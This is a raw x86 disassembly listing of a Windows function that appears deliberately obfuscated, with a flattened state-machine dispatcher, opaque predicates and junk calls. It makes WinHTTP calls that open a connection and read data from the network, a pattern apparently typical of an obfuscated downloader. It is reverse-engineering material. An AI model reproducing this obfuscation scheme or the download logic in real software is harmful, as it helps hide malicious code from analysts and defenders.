mov eax, 0xb0c64ceb
cmp ecx, edx
je 0x41e5b1
mov eax, 0x4d75da69
jmp 0x41e5b1
mov eax, dword [ebp - 0x18]
add eax, 0xffffffb5
imul ecx, eax, 0x1a40
imul eax, eax
imul edx, eax, 0x860f
dec edx
add ecx, 0x10e0
mov dword [ebp - 0x18], ecx
mov ecx, 0xe95f12ee
cmp edx, eax
je 0x41e13c
mov ecx, 0x69262631
mov dword [ebp - 0x10], ecx
jmp 0x41ccb2
mov edi, dword [ebp - 0x14]
shr edi, 0xf
and edi, 0x3fff
add edi, 0xffffff00
mov dword [ebp - 0x14], edi
push 0x1b8f
push edi
push 0x548a
push 0x34f7
push 0x5a95
call fcn.00416cb6
add esp, 0x14
mov eax, 0xacde224
cmp edi, 0x19
jb 0x41e39e
jmp 0x41e415
imul eax, dword [ebp - 0x18], 0xff000
add eax, 0xf60900
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x62fdb108
jmp 0x41ccb2
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], 0x461a3d5d
jmp 0x41ccb2
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], 0x18704591
jmp 0x41ccb2
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
mov dword [ebp - 0x10], 0x16ccf7b2
jmp 0x41ccb2
mov edi, dword [ebp - 0x14]
shr edi, 0xe
lea eax, [edi*4 - 0x48]
shl edi, 2
mov dword [ebp - 0x14], eax
push eax
push 0x25f7
push 0x43e5
push 0x4ece
call fcn.004183b5
add esp, 0x10
mov eax, 0xe67b9927
cmp edi, 0xd7
jae 0x41e415
mov eax, 0x817a63f3
jmp 0x41e415
mov eax, dword [ebp - 0x1c]
mov dword [eax + 8], 0xffffffff
mov eax, dword [ebp - 0x1c]
add eax, 0x14
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x10], 0x27a97148
jmp 0x41ccb2
imul edi, dword [ebp - 0x14], 0x2e8
mov eax, edi
shr eax, 0x13
add eax, 0xfffffff8
mov dword [ebp - 0x14], eax
push 0x569a
push eax
call fcn.0041c905
add esp, 8
mov eax, 0x14afc217
cmp edi, 0x6200000
jae 0x41e415
mov eax, 0xa046f11e
jmp 0x41e415
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov dword [ebp - 0x10], 0xa792b3d7
jmp 0x41ccb2
mov eax, dword [ebp - 0x1c]
add eax, 0xc
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x10], 0xea7b87b1
jmp 0x41ccb2
mov eax, dword [ebp - 0x14]
shr eax, 1
and eax, 0xfffff
imul ecx, eax, 0x2c00
and ecx, 0xffffc000
or ecx, 0xa4
mov dword [ebp - 0x14], ecx
mov eax, 0x14afc217
cmp ecx, 0x11
jl 0x41e415
mov eax, 0x295507c4
jmp 0x41e415
imul eax, dword [ebp - 0x14], 0x391c3800
add eax, 0xfc6e3c80
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x20baa0c4
jmp 0x41ccb2
mov eax, dword [ebp - 0x18]
shl eax, 6
and eax, 0x1ffc0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x69262631
jmp 0x41ccb2
mov dword [ebp - 0x10], 0x71df35d
jmp 0x41ccb2
mov eax, dword [ebp - 0x3c]
mov word [eax + 0x20], 0
push 0x20
push 0x467850
push dword [ebp - 0x3c]
call fcn.004441d0
add esp, 0xc
push 4
push 0x467870
push 0x10
push dword [ebp - 0x3c]
call fcn.00422670
add esp, 0x10
push esi
push esi
push esi
push esi
push dword [ebp - 0x3c]
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x10], 0x3cf3a764
jmp 0x41ccb2
imul ecx, dword [ebp - 0x14], 0x521a
add ecx, 0xffeff6ec
mov eax, ecx
shr eax, 2
mov dword [ebp - 0x14], eax
mov eax, 0xd17bb27d
cmp ecx, 0x298
jb 0x41e415
mov eax, 0x2af00f3c
jmp 0x41e415
mov eax, 3
push eax
push 0x46787e
push eax
push dword [ebp - 0x40]
call fcn.00422670
add esp, 0x10
mov dword [ebp - 0x10], 0x14afc217
jmp 0x41ccb2
imul edi, dword [ebp - 0x14], 0x294
shr edi, 5
and edi, 0xfffffff8
mov dword [ebp - 0x14], edi
push 0x16a9
push 0x2a2c
push edi
push 0x1366
push 0x1c2
call fcn.00417746
add esp, 0x14
push edi
push 0x28fe
call fcn.0041c393
add esp, 8
mov eax, 0x2ca1adc8
cmp edi, 0x86
jb 0x41e415
mov eax, 0xe67b9927
mov dword [ebp - 0x10], eax
jmp 0x41ccb2
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], 0x6c4a7760
jmp 0x41ccb2
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov dword [ebp - 0x10], 0x42455599
jmp 0x41ccb2
imul eax, dword [ebp - 0x18], 0x19d0000
add eax, 0x317fff78
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x5f2129fd
jmp 0x41ccb2
mov edi, dword [ebp - 0x1c]
add edi, 4
xor eax, eax
mov ecx, 0xe
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], 0x2af00f3c
jmp 0x41ccb2
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x48]
push dword [ebp - 0x38]
push dword [ebp - 0x80]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], 0x51b7edda
jmp 0x41ccb2
mov eax, dword [ebp - 0x14]
shl eax, 0x1f
mov dword [ebp - 0x14], eax
push 0x20b2
push 0x44bd
push 0xed2
push eax
call fcn.004176e3
add esp, 0x10
mov dword [ebp - 0x10], 0xb54cdf44
jmp 0x41ccb2
imul eax, dword [ebp - 0x18], 0x3183
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x449f
dec edx
add eax, 0xffffff8e
mov dword [ebp - 0x18], eax
mov eax, 0x18f92352
cmp edx, ecx
je 0x41e5b1
mov eax, 0x15670044
jmp 0x41e5b1
mov eax, dword [ebp - 0x98]
mov word [eax], 0
mov eax, dword [ebp - 0x40]
movzx ecx, word [0x46787c]
mov word [eax + 4], cx
mov ecx, dword [0x467878]
mov dword [eax], ecx
mov dword [ebp - 0x10], 0xf5632118
jmp 0x41ccb2
push eax
sub esp, 0x38
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0x20baa0c4
jmp 0x41ccb2
mov eax, dword [ebp - 0x18]
shr eax, 0xd
lea ecx, [eax + 0x4e]
imul ecx, ecx
imul edx, ecx, 0x399f
dec edx
add eax, 0x6e
mov dword [ebp - 0x18], eax
mov eax, 0x99aefd2
cmp edx, ecx
je 0x41e5b1
mov eax, 0xbdce7d44
jmp 0x41e5b1
mov eax, dword [ebp - 0x1c]
add eax, 0x10
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x10], 0x216f6113
jmp 0x41ccb2
mov eax, dword [ebp - 0x18]
imul ecx, eax, 0x73
imul ecx, ecx
imul edx, ecx, 0x316b
imul eax, eax, 0x7300
dec edx
add eax, 0xffffffc9
mov dword [ebp - 0x18], eax
mov eax, 0xe2176d6b
cmp ecx, edx
je 0x41e5b1
mov eax, 0x6d6a4e90
mov dword [ebp - 0x10], eax
jmp 0x41ccb2
mov dword [ebp - 0x10], 0x7d360db5
jmp 0x41ccb2
imul edi, dword [ebp - 0x14], 0xe7
add edi, 0x14c1
mov dword [ebp - 0x14], edi
push 0x4564
push 0x7cf
push edi
push 0x5a88
call fcn.004183b5
add esp, 0x10
mov eax, 0x58583936
cmp edi, 0xf3
jae 0x41e415
mov eax, 0xbd3b22ae
jmp 0x41e415
movzx eax, word [ebp - 0x5a]
push 0
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x54]
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x10], 0x228425ff
jmp 0x41ccb2
cmp eax, 0x69262631
je 0x41e666
jmp 0x41ccb2
cmp eax, 0x281a67ff
jne 0x41ccb2
jmp 0x41e671
cmp eax, 0x2bd905e
jne 0x41ccb2
mov eax, dword [ebp - 0x14]
lea eax, [eax*8 + 0x1e0]
mov dword [ebp - 0x14], eax
push 0x424
push eax
call fcn.0041bf51
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x14]
shr eax, 9
imul eax, eax, 0x86
add eax, 0xffffffc0
mov dword [ebp - 0x14], eax
push eax
call fcn.00416d4b